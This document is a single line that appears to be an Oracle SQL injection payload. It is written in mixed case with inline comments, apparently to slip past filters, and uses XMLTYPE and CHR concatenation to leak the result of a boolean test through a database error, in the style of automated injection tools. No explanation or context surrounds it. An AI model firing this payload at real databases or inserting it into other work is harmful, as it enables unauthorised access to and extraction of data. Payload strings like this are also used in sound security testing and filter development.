1,(SELEct/**/uPPEr(xMLTYPe(cHr(60)||cHr(58)||~||(SELect/**/(caSE/**/whEn/**/(9724=9724)/**/thEn/**/1/**/ElSe/**/0/**/eND)/**/FROm/**/DuAL)||~||CHr(62)))/**/FrOm/**/DUal)– – 1